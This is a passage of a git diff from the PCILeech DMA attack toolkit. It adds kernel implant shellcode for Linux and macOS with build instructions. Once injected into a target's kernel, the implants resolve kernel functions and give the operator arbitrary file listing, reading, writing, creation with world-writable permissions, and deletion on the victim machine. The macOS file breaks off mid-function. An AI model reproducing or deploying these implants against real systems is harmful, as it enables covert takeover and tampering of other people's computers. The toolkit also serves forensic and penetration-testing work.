* Mount a drive backed by PCILeech virtual file system. The mounted file system
|
||||
* will contain both a memory mapped ram files and the file system as seen from
|
||||
* the target system kernel. NB! This action requires a loaded kernel module and
|
||||
* that the Dokany file system library and driver have been installed. Please
|
||||
* see: https://github.com/dokan-dev/dokany/releases
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
*/
|
||||
VOID ActionMount(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
#endif /* __VFS_H__ */
|
||||
|
||||
Binary file not shown.
@@ -1,7 +1,7 @@
|
||||
; lx64_common_a.asm : assembly to receive execution from stage3 exec command.
|
||||
; Compatible with Linux x64.
|
||||
;
|
||||
; (c) Ulf Frisk, 2016
|
||||
; (c) Ulf Frisk, 2016, 2017
|
||||
; Author: Ulf Frisk, pcileech@frizk.net
|
||||
;
|
||||
|
||||
|
||||
323
pcileech_shellcode/lx64_vfs.c
Normal file
323
pcileech_shellcode/lx64_vfs.c
Normal file
@@ -0,0 +1,323 @@
|
||||
// lx64_vfs.c : kernel code to support the PCILeech file system.
|
||||
// Compatible with Linux x64.
|
||||
//
|
||||
// (c) Ulf Frisk, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
// compile with:
|
||||
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c
|
||||
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_vfs.c
|
||||
// ml64 lx64_common_a.asm /Felx64_vfs.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_vfs.obj lx64_common.obj
|
||||
// shellcode64.exe -o lx64_vfs.exe
|
||||
//
|
||||
|
||||
#include "lx64_common.h"
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Core defines and typedefs shared between kernel implants and pcileech.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#define VFS_OP_MAGIC 0x79e720ad93aa130f
|
||||
#define VFS_OP_CMD_LIST_DIRECTORY 1
|
||||
#define VFS_OP_CMD_WRITE 2
|
||||
#define VFS_OP_CMD_READ 3
|
||||
#define VFS_OP_CMD_CREATE 4
|
||||
#define VFS_OP_CMD_DELETE 5
|
||||
|
||||
#define VFS_FLAGS_FILE_NORMAL 0x01
|
||||
#define VFS_FLAGS_FILE_DIRECTORY 0x02
|
||||
#define VFS_FLAGS_FILE_SYMLINK 0x04
|
||||
#define VFS_FLAGS_FILE_OTHER 0x08
|
||||
#define VFS_FLAGS_UNICODE 0x10
|
||||
#define VFS_FLAGS_EXIST_FILE 0x20
|
||||
#define VFS_FLAGS_TRUNCATE_ON_WRITE 0x40
|
||||
#define VFS_FLAGS_APPEND_ON_WRITE 0x80
|
||||
|
||||
typedef struct tdVFS_OPERATION {
|
||||
QWORD magic;
|
||||
QWORD op;
|
||||
QWORD flags;
|
||||
CHAR szFileName[MAX_PATH];
|
||||
WCHAR wszFileName[MAX_PATH];
|
||||
QWORD offset;
|
||||
QWORD cb;
|
||||
BYTE pb[];
|
||||
} VFS_OPERATION, *PVFS_OPERATION;
|
||||
|
||||
typedef struct tdVFS_RESULT_FILEINFO {
|
||||
QWORD flags;
|
||||
QWORD tAccessOpt;
|
||||
QWORD tModifyOpt;
|
||||
QWORD tCreateOpt;
|
||||
QWORD dbg1;
|
||||
QWORD dbg2;
|
||||
QWORD cb;
|
||||
WCHAR wszFileName[MAX_PATH];
|
||||
} VFS_RESULT_FILEINFO, *PVFS_RESULT_FILEINFO;
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Other required defines and typedefs.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#define O_RDONLY 00000000
|
||||
#define O_WRONLY 00000001
|
||||
#define O_CREAT 00000100
|
||||
#define O_TRUNC 00001000
|
||||
#define O_APPEND 00002000
|
||||
#define O_DIRECTORY 00200000
|
||||
#define O_NOATIME 01000000
|
||||
|
||||
#define DT_UNKNOWN 0
|
||||
#define DT_FIFO 1
|
||||
#define DT_CHR 2
|
||||
#define DT_DIR 4
|
||||
#define DT_BLK 6
|
||||
#define DT_REG 8
|
||||
#define DT_LNK 10
|
||||
#define DT_SOCK 12
|
||||
#define DT_WHT 14
|
||||
|
||||
struct timespec {
|
||||
QWORD tv_sec; // seconds
|
||||
QWORD tv_nsec; // nanoseconds
|
||||
};
|
||||
|
||||
struct kstat {
|
||||
QWORD ino;
|
||||
DWORD dev;
|
||||
DWORD mode;
|
||||
DWORD nlink;
|
||||
DWORD uid;
|
||||
DWORD gid;
|
||||
DWORD rdev;
|
||||
QWORD size; // offset 0x20
|
||||
struct timespec atime;
|
||||
struct timespec mtime;
|
||||
struct timespec ctime;
|
||||
QWORD blksize;
|
||||
QWORD blocks;
|
||||
QWORD _pcileech_dummy_extra[2];
|
||||
};
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Functions below.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
typedef struct tdFN2 {
|
||||
QWORD str_sys_unlink;
|
||||
QWORD memcpy;
|
||||
QWORD memset;
|
||||
QWORD filp_close;
|
||||
QWORD filp_open;
|
||||
QWORD vfs_read;
|
||||
QWORD vfs_write;
|
||||
QWORD vfs_stat;
|
||||
QWORD iterate_dir;
|
||||
QWORD yield;
|
||||
} FN2, *PFN2;
|
||||
|
||||
typedef struct tdDIR_CONTEXT {
|
||||
QWORD actor;
|
||||
QWORD pos;
|
||||
} DIR_CONTEXT;
|
||||
|
||||
typedef struct tdDIR_CONTEXT_EXTENDED {
|
||||
DIR_CONTEXT ctx;
|
||||
PKMDDATA pk;
|
||||
PFN2 fn;
|
||||
PVFS_OPERATION pop;
|
||||
QWORD buf[];
|
||||
} DIR_CONTEXT_EXTENDED, *PDIR_CONTEXT_EXTENDED;
|
||||
|
||||
BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
|
||||
QWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)];
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { 's', 'y', 's', '_', 'u', 'n', 'l', 'i', 'n', 'k', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { 'm', 'e', 'm', 'c', 'p', 'y', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { 'm', 'e', 'm', 's', 'e', 't', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { 'f', 'i', 'l', 'p', '_', 'c', 'l', 'o', 's', 'e', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { 'f', 'i', 'l', 'p', '_', 'o', 'p', 'e', 'n', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 'r', 'e', 'a', 'd', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 'w', 'r', 'i', 't', 'e', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { 'i', 't', 'e', 'r', 'a', 't', 'e', '_', 'd', 'i', 'r', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { 'y', 'i', 'e', 'l', 'd', 0 };
|
||||
return LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, i);
|
||||
}
|
||||
|
||||
static int VfsList_CallbackIterateDir(PDIR_CONTEXT_EXTENDED ctx, const char *name, int len, unsigned __int64 pos, unsigned __int64 ino, unsigned int d_type)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(ino);
|
||||
UNREFERENCED_PARAMETER(pos);
|
||||
QWORD i;
|
||||
PVFS_RESULT_FILEINFO pfi;
|
||||
if(ctx->pk->dataOutExtraLength + sizeof(VFS_RESULT_FILEINFO) > ctx->pk->dataOutExtraLengthMax) {
|
||||
return 0;
|
||||
}
|
||||
pfi = (PVFS_RESULT_FILEINFO)(ctx->pk->DMAAddrVirtual + ctx->pk->dataOutExtraOffset + ctx->pk->dataOutExtraLength);
|
||||
SysVCall(ctx->fn->memset, pfi, 0, sizeof(VFS_RESULT_FILEINFO));
|
||||
switch(d_type) {
|
||||
case DT_REG:
|
||||
pfi->flags = VFS_FLAGS_FILE_NORMAL;
|
||||
break;
|
||||
case DT_DIR:
|
||||
pfi->flags = VFS_FLAGS_FILE_DIRECTORY;
|
||||
break;
|
||||
case DT_LNK:
|
||||
pfi->flags = VFS_FLAGS_FILE_SYMLINK;
|
||||
break;
|
||||
default:
|
||||
pfi->flags = VFS_FLAGS_FILE_OTHER;
|
||||
break;
|
||||
}
|
||||
for(i = 0; i < len && i < MAX_PATH - 1; i++) {
|
||||
pfi->wszFileName[i] = name[i];
|
||||
}
|
||||
ctx->pk->dataOutExtraLength += sizeof(VFS_RESULT_FILEINFO);
|
||||
return 0;
|
||||
}
|
||||
|
||||
QWORD UnixToWindowsFiletime(QWORD tv) {
|
||||
QWORD result = 11644473600ULL; // EPOCH DIFF
|
||||
result += tv;
|
||||
result *= 10000000ULL;
|
||||
return result;
|
||||
}
|
||||
|
||||
VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
|
||||
{
|
||||
QWORD i, o, p, cfi, result;
|
||||
CHAR sz[2 * MAX_PATH];
|
||||
struct kstat kstat;
|
||||
PVFS_RESULT_FILEINFO pfi;
|
||||
cfi = pk->dataOutExtraLength / sizeof(VFS_RESULT_FILEINFO);
|
||||
for(o = 0; o < MAX_PATH; o++) {
|
||||
if(0 == pop->szFileName[o]) { break; }
|
||||
sz[o] = pop->szFileName[o];
|
||||
}
|
||||
sz[o] = '/';
|
||||
o++;
|
||||
pk->dataOut[2] = cfi;
|
||||
for(p = 0; p < cfi; p++) {
|
||||
pfi = (PVFS_RESULT_FILEINFO)(pk->DMAAddrVirtual + pk->dataOutExtraOffset + p * sizeof(VFS_RESULT_FILEINFO));
|
||||
// set filename
|
||||
for(i = 0; i < MAX_PATH; i++) {
|
||||
if(0 == pfi->wszFileName[i]) { break; }
|
||||
sz[o + i] = (CHAR)pfi->wszFileName[i];
|
||||
}
|
||||
sz[o + i] = 0;
|
||||
result = SysVCall(pfn2->vfs_stat, sz, &kstat);
|
||||
if(0 == result) {
|
||||
pfi->cb = kstat.size;
|
||||
pfi->tAccessOpt = UnixToWindowsFiletime(kstat.atime.tv_sec);
|
||||
pfi->tCreateOpt = UnixToWindowsFiletime(kstat.ctime.tv_sec);
|
||||
pfi->tModifyOpt = UnixToWindowsFiletime(kstat.mtime.tv_sec);
|
||||
}
|
||||
if(0 == (p % 50)) { SysVCall(pfn2->yield); } // yield at intervals to avoid problems...
|
||||
}
|
||||
}
|
||||
|
||||
STATUS VfsList(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
|
||||
{
|
||||
DIR_CONTEXT_EXTENDED dce;
|
||||
QWORD hFile;
|
||||
hFile = SysVCall(pfn2->filp_open, pop->szFileName, O_RDONLY | O_DIRECTORY | O_NOATIME, 0);
|
||||
if(hFile > 0xffffffff00000000) {
|
||||
return STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
}
|
||||
WinCallSetFunction((QWORD)VfsList_CallbackIterateDir);
|
||||
dce.ctx.actor = (QWORD)WinCall;
|
||||
dce.fn = pfn2;
|
||||
dce.pk = pk;
|
||||
dce.pop = pop;
|
||||
pk->dataOut[1] = SysVCall(pfn2->iterate_dir, hFile, &dce);
|
||||
SysVCall(pfn2->filp_close, hFile, NULL);
|
||||
SysVCall(pfn2->yield);
|
||||
VfsList_SetSizeTime(pk, pfn2, pop);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
STATUS VfsDelete(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(pk);
|
||||
QWORD result;
|
||||
result = SysVCall(pfn2->str_sys_unlink, pop->szFileName);
|
||||
return result ? STATUS_FAIL_ACTION : STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
STATUS VfsRead(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
|
||||
{
|
||||
QWORD hFile;
|
||||
hFile = SysVCall(pfn2->filp_open, pop->szFileName, O_RDONLY | O_NOATIME, 0);
|
||||
if(hFile > 0xffffffff00000000) {
|
||||
return STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
}
|
||||
pk->dataOutExtraLength = SysVCall(pfn2->vfs_read, hFile, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax, &pop->offset);
|
||||
SysVCall(pfn2->filp_close, hFile, NULL);
|
||||
return (pk->dataOutExtraLength <= pk->dataOutExtraLengthMax) ? STATUS_SUCCESS : STATUS_FAIL_ACTION;
|
||||
}
|
||||
|
||||
STATUS VfsWrite(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(pk);
|
||||
QWORD hFile, flags = 0, result;
|
||||
flags |= O_WRONLY | O_NOATIME;
|
||||
flags |= (pop->flags & VFS_FLAGS_TRUNCATE_ON_WRITE) ? O_TRUNC : 0;
|
||||
flags |= (pop->flags & VFS_FLAGS_APPEND_ON_WRITE) ? O_APPEND : 0;
|
||||
hFile = SysVCall(pfn2->filp_open, pop->szFileName, flags, 0);
|
||||
if(hFile > 0xffffffff00000000) {
|
||||
return STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
}
|
||||
result = SysVCall(pfn2->vfs_write, hFile, pop->pb, pop->cb, &pop->offset);
|
||||
SysVCall(pfn2->filp_close, hFile, NULL);
|
||||
return result ? STATUS_FAIL_ACTION : STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
STATUS VfsCreate(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(pk);
|
||||
QWORD hFile;
|
||||
hFile = SysVCall(pfn2->filp_open, pop->szFileName, O_CREAT | O_WRONLY | O_TRUNC, 0x1ff /*-rwxrwxrwx*/);
|
||||
if(hFile > 0xffffffff00000000) {
|
||||
return STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
}
|
||||
SysVCall(pfn2->filp_close, hFile, NULL);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
VOID c_EntryPoint(PKMDDATA pk)
|
||||
{
|
||||
PVFS_OPERATION pop;
|
||||
FN2 fn2;
|
||||
// initialize kernel functions
|
||||
if(!LookupFunctions2(pk, &fn2)) {
|
||||
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
|
||||
return;
|
||||
}
|
||||
// setup references to in/out data and check validity
|
||||
pop = (PVFS_OPERATION)(pk->DMAAddrVirtual + pk->dataInExtraOffset);
|
||||
if((pk->dataInExtraLength < sizeof(VFS_OPERATION)) || (pop->magic != VFS_OP_MAGIC) || (pop->flags & VFS_FLAGS_UNICODE)) {
|
||||
pk->dataOut[0] = STATUS_FAIL_SIGNATURE_NOT_FOUND;
|
||||
return;
|
||||
}
|
||||
// take action
|
||||
if(pop->op == VFS_OP_CMD_LIST_DIRECTORY) {
|
||||
pk->dataOut[0] = VfsList(pk, &fn2, pop);
|
||||
return;
|
||||
}
|
||||
if(pop->op == VFS_OP_CMD_READ) {
|
||||
pk->dataOut[0] = VfsRead(pk, &fn2, pop);
|
||||
return;
|
||||
}
|
||||
if(pop->op == VFS_OP_CMD_WRITE) {
|
||||
pk->dataOut[0] = VfsWrite(pk, &fn2, pop);
|
||||
return;
|
||||
}
|
||||
if(pop->op == VFS_OP_CMD_CREATE) {
|
||||
pk->dataOut[0] = VfsCreate(pk, &fn2, pop);
|
||||
return;
|
||||
}
|
||||
if(pop->op == VFS_OP_CMD_DELETE) {
|
||||
pk->dataOut[0] = VfsDelete(pk, &fn2, pop);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -13,6 +13,7 @@ typedef void VOID, *PVOID;
|
||||
typedef int BOOL, *PBOOL;
|
||||
typedef unsigned char BYTE, *PBYTE;
|
||||
typedef char CHAR, *PCHAR;
|
||||
typedef unsigned short WCHAR, *PWCHAR;
|
||||
typedef unsigned short WORD, *PWORD;
|
||||
typedef unsigned long DWORD, *PDWORD;
|
||||
typedef unsigned __int64 QWORD, *PQWORD;
|
||||
@@ -21,10 +22,9 @@ typedef void *HANDLE;
|
||||
#define MAX_PATH 260
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
#define UNREFERENCED_PARAMETER(P) (P)
|
||||
|
||||
typedef unsigned long STATUS;
|
||||
#define STATUS_SUCCESS 0
|
||||
#define STATUS_FAIL_BASE 0xf0000000UL
|
||||
|
||||
extern QWORD SysVCall(QWORD fn, ...);
|
||||
extern QWORD LookupFunctionMacOS(QWORD qwAddrKernelBase, CHAR szFunctionName[]);
|
||||
|
||||
418
pcileech_shellcode/macos_vfs.c
Normal file
418
pcileech_shellcode/macos_vfs.c
Normal file
@@ -0,0 +1,418 @@
|
||||
// macos_vfs.c : kernel code to support the PCILeech file system.
|
||||
// Compatible with Apple macOS.
|
||||
//
|
||||
// (c) Ulf Frisk, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
// compile with:
|
||||
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c
|
||||
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_vfs.c
|
||||
// ml64 macos_common_a.asm /Femacos_vfs.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_vfs.obj macos_common.obj
|
||||
// shellcode64.exe -o macos_vfs.exe
|
||||
//
|
||||
|
||||
#include "macos_common.h"
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Core defines and typedefs shared between kernel implants and pcileech.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#define VFS_OP_MAGIC 0x79e720ad93aa130f
|
||||
#define VFS_OP_CMD_LIST_DIRECTORY 1
|
||||
#define VFS_OP_CMD_WRITE 2
|
||||
#define VFS_OP_CMD_READ 3
|
||||
#define VFS_OP_CMD_CREATE 4
|
||||
#define VFS_OP_CMD_DELETE 5
|
||||
|
||||
#define VFS_FLAGS_FILE_NORMAL 0x01
|
||||
#define VFS_FLAGS_FILE_DIRECTORY 0x02
|
||||
#define VFS_FLAGS_FILE_SYMLINK 0x04
|
||||
#define VFS_FLAGS_FILE_OTHER 0x08
|
||||
#define VFS_FLAGS_UNICODE 0x10
|
||||
#define VFS_FLAGS_EXIST_FILE 0x20
|
||||
#define VFS_FLAGS_TRUNCATE_ON_WRITE 0x40
|
||||
#define VFS_FLAGS_APPEND_ON_WRITE 0x80
|
||||
|
||||
typedef struct tdVFS_OPERATION {
|
||||
QWORD magic;
|
||||
QWORD op;
|
||||
QWORD flags;
|
||||
CHAR szFileName[MAX_PATH];
|
||||
WCHAR wszFileName[MAX_PATH];
|
||||
QWORD offset;
|
||||
QWORD cb;
|
||||
BYTE pb[];
|
||||
} VFS_OPERATION, *PVFS_OPERATION;
|
||||
|
||||
typedef struct tdVFS_RESULT_FILEINFO {
|
||||
QWORD flags;
|
||||
QWORD tAccessOpt;
|
||||
QWORD tModifyOpt;
|
||||
QWORD tCreateOpt;
|
||||
QWORD dbg1;
|
||||
QWORD dbg2;
|
||||
QWORD cb;
|
||||
WCHAR wszFileName[MAX_PATH];
|
||||
} VFS_RESULT_FILEINFO, *PVFS_RESULT_FILEINFO;
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Other required defines and typedefs.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#define O_ACCMODE 0x0003
|
||||
#define O_RDONLY 0x0000
|
||||
#define O_WRONLY 0x0001
|
||||
#define O_RDWR 0x0002
|
||||
|
||||
#define O_NONBLOCK 0x0004
|
||||
#define O_APPEND 0x0008
|
||||
#define O_SHLOCK 0x0010
|
||||
#define O_EXLOCK 0x0020
|
||||
#define O_ASYNC 0x0040
|
||||
#define O_SYNC 0x0080
|
||||
#define O_NOFOLLOW 0x0100
|
||||
#define O_CREAT 0x0200
|
||||
#define O_TRUNC 0x0400
|
||||
#define O_EXCL 0x0800
|
||||
#define O_EVTONLY 0x8000
|
||||
#define O_NOCTTY 0x20000
|
||||
#define O_DIRECTORY 0x100000
|
||||
#define O_SYMLINK 0x200000
|
||||
|
||||
#define VNODE_ATTR_va_data_size (1LL<< 4) /* 00000010 */
|
||||
#define VNODE_ATTR_va_create_time (1LL<<12) /* 00001000 */
|
||||
#define VNODE_ATTR_va_access_time (1LL<<13) /* 00002000 */
|
||||
#define VNODE_ATTR_va_modify_time (1LL<<14) /* 00004000 */
|
||||
#define VNODE_ATTR_va_name (1LL<<25) /* 02000000 */
|
||||
|
||||
struct attrlist {
|
||||
WORD bitmapcount; /* number of attr. bit sets in list (should be 5) */
|
||||
WORD reserved; /* (to maintain 4-byte alignment) */
|
||||
DWORD commonattr; /* common attribute group */
|
||||
DWORD volattr; /* Volume attribute group */
|
||||
DWORD dirattr; /* directory attribute group */
|
||||
DWORD fileattr; /* file attribute group */
|
||||
DWORD forkattr; /* fork attribute group */
|
||||
};
|
||||
|
||||
typedef struct attribute_set {
|
||||
DWORD commonattr; /* common attribute group */
|
||||
DWORD volattr; /* Volume attribute group */
|
||||
DWORD dirattr; /* directory attribute group */
|
||||
DWORD fileattr; /* file attribute group */
|
||||
DWORD forkattr; /* fork attribute group */
|
||||
} attribute_set_t;
|
||||
|
||||
|
||||
typedef struct attrreference {
|
||||
DWORD attr_dataoffset;
|
||||
DWORD attr_length;
|
||||
} attrreference_t;
|
||||
|
||||
struct timespec {
|
||||
QWORD tv_sec; // seconds
|
||||
QWORD tv_nsec; // nanoseconds
|
||||
};
|
||||
|
||||
enum vtype {
|
||||
VNON,
|
||||
VREG, VDIR, VBLK, VCHR, VLNK,
|
||||
VSOCK, VFIFO, VBAD, VSTR, VCPLX
|
||||
};
|
||||
|
||||
#define ATTR_BIT_MAP_COUNT 5
|
||||
#define ATTR_CMN_NAME 0x00000001
|
||||
#define ATTR_CMN_OBJTYPE 0x00000008
|
||||
#define ATTR_CMN_CRTIME 0x00000200
|
||||
#define ATTR_CMN_MODTIME 0x00000400
|
||||
#define ATTR_CMN_ACCTIME 0x00001000
|
||||
#define ATTR_CMN_RETURNED_ATTRS 0x80000000
|
||||
#define ATTR_DIR_ENTRYCOUNT 0x00000002
|
||||
#define ATTR_FILE_TOTALSIZE 0x00000002
|
||||
|
||||
struct vnode_attr {
|
||||
/* bitfields */
|
||||
QWORD va_supported;
|
||||
QWORD va_active;
|
||||
QWORD unknown[64];
|
||||
};
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Functions below.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
typedef struct tdFN2 {
|
||||
QWORD vnode_lookup;
|
||||
QWORD vnode_put;
|
||||
QWORD vnode_setsize;
|
||||
QWORD vnode_open;
|
||||
QWORD vnode_close;
|
||||
QWORD VNOP_READ;
|
||||
QWORD VNOP_WRITE;
|
||||
QWORD VNOP_GETATTRLISTBULK;
|
||||
QWORD uio_addiov;
|
||||
QWORD uio_resid;
|
||||
QWORD vfs_context_current;
|
||||
QWORD uio_create;
|
||||
QWORD uio_free;
|
||||
} FN2, *PFN2;
|
||||
|
||||
BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
|
||||
QWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)], *pfn_qw = (PQWORD)pfn2;
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'l', 'o', 'o', 'k', 'u', 'p', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'u', 't', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 's', 'e', 't', 's', 'i', 'z', 'e', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'o', 'p', 'e', 'n', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'c', 'l', 'o', 's', 'e', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'A', 'D', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'W', 'R', 'I', 'T', 'E', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'G', 'E', 'T', 'A', 'T', 'T', 'R', 'L', 'I', 'S', 'T', 'B', 'U', 'L', 'K', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'r', 'e', 's', 'i', 'd', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 };
|
||||
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 };
|
||||
for(i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {
|
||||
pfn_qw[i] = LookupFunctionMacOS(pk->AddrKernelBase, (CHAR*)NAMES[i]);
|
||||
if(!pfn_qw[i]) { return FALSE; }
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
QWORD UnixToWindowsFiletime(QWORD tv) {
|
||||
QWORD result = 11644473600ULL; // EPOCH DIFF
|
||||
result += tv;
|
||||
result *= 10000000ULL;
|
||||
return result;
|
||||
}
|
||||
|
||||
STATUS VfsList(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
|
||||
{
|
||||
DWORD status = STATUS_SUCCESS;
|
||||
QWORD i, uio = 0, vnode = 0, vfs_current;
|
||||
PFNMACOS pfn1 = &pk->fn;
|
||||
PVFS_RESULT_FILEINFO pfi;
|
||||
QWORD qw, p, cfi = 0, pbRecordFull, cbRecordFull, pbRecord;
|
||||
attribute_set_t *pAttrSet;
|
||||
attrreference_t *pAttrRef;
|
||||
DWORD dw, eofflag, actualcount;
|
||||
struct timespec *pts;
|
||||
struct vnode_attr va;
|
||||
struct attrlist al;
|
||||
if(pk->dataOutExtraLengthMax < 0x00100000) {
|
||||
status = STATUS_FAIL_OUTOFMEMORY;
|
||||
goto fail;
|
||||
}
|
||||
vfs_current = SysVCall(pfn2->vfs_context_current);
|
||||
if(SysVCall(pfn2->vnode_lookup, pop->szFileName, 0, &vnode, vfs_current)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto fail;
|
||||
}
|
||||
SysVCall(pfn1->memset, &va, 0, sizeof(struct vnode_attr));
|
||||
// set attribute list with attributes that should be retrieved.
|
||||
SysVCall(pfn1->memset, &al, 0, sizeof(struct attrlist));
|
||||
al.bitmapcount = ATTR_BIT_MAP_COUNT;
|
||||
al.commonattr = ATTR_CMN_NAME | ATTR_CMN_RETURNED_ATTRS | ATTR_CMN_CRTIME | ATTR_CMN_MODTIME | ATTR_CMN_ACCTIME | ATTR_CMN_OBJTYPE;
|
||||
al.fileattr = ATTR_FILE_TOTALSIZE;
|
||||
al.dirattr = ATTR_DIR_ENTRYCOUNT;
|
||||
while(TRUE) {
|
||||
actualcount = 0;
|
||||
pbRecordFull = pk->DMAAddrVirtual + pk->dataOutExtraOffset + pk->dataOutExtraLengthMax - 0x00010000;
|
||||
SysVCall(pfn1->memset, pbRecordFull, 0, 0x00010000);
|
||||
uio = SysVCall(pfn2->uio_create, 1 /* count iov */, cfi /* offset */, 2 /* kernel addr */, 0 /* read */);
|
||||
if(SysVCall(pfn2->uio_addiov, uio, pbRecordFull, 0x00010000)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto fail;
|
||||
}
|
||||
if(SysVCall(pfn2->VNOP_GETATTRLISTBULK, vnode, &al, &va, uio, NULL /* private */, 0 /* options */, &eofflag, &actualcount, vfs_current)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto fail;
|
||||
}
|
||||
if(0 == actualcount) {
|
||||
break;
|
||||
}
|
||||
if((pk->dataOutExtraLengthMax - 0x00010000) < (cfi + actualcount) * sizeof(VFS_RESULT_FILEINFO)) {
|
||||
break;
|
||||
}
|
||||
for(p = 0; p < actualcount; p++) {
|
||||
pfi = (PVFS_RESULT_FILEINFO)(pk->DMAAddrVirtual + pk->dataOutExtraOffset + (p + cfi) * sizeof(VFS_RESULT_FILEINFO));
|
||||
SysVCall(pfn1->memset, pfi, 0, sizeof(VFS_RESULT_FILEINFO));
|
||||
cbRecordFull = *(PDWORD)pbRecordFull;
|
||||
pbRecord = pbRecordFull;
|
||||
pbRecordFull += cbRecordFull;
|
||||
pbRecord += sizeof(DWORD);
|
||||
pAttrSet = (attribute_set_t*)pbRecord;
|
||||
pbRecord += sizeof(attribute_set_t);
|
||||
if(pAttrSet->commonattr & ATTR_CMN_NAME) {
|
||||
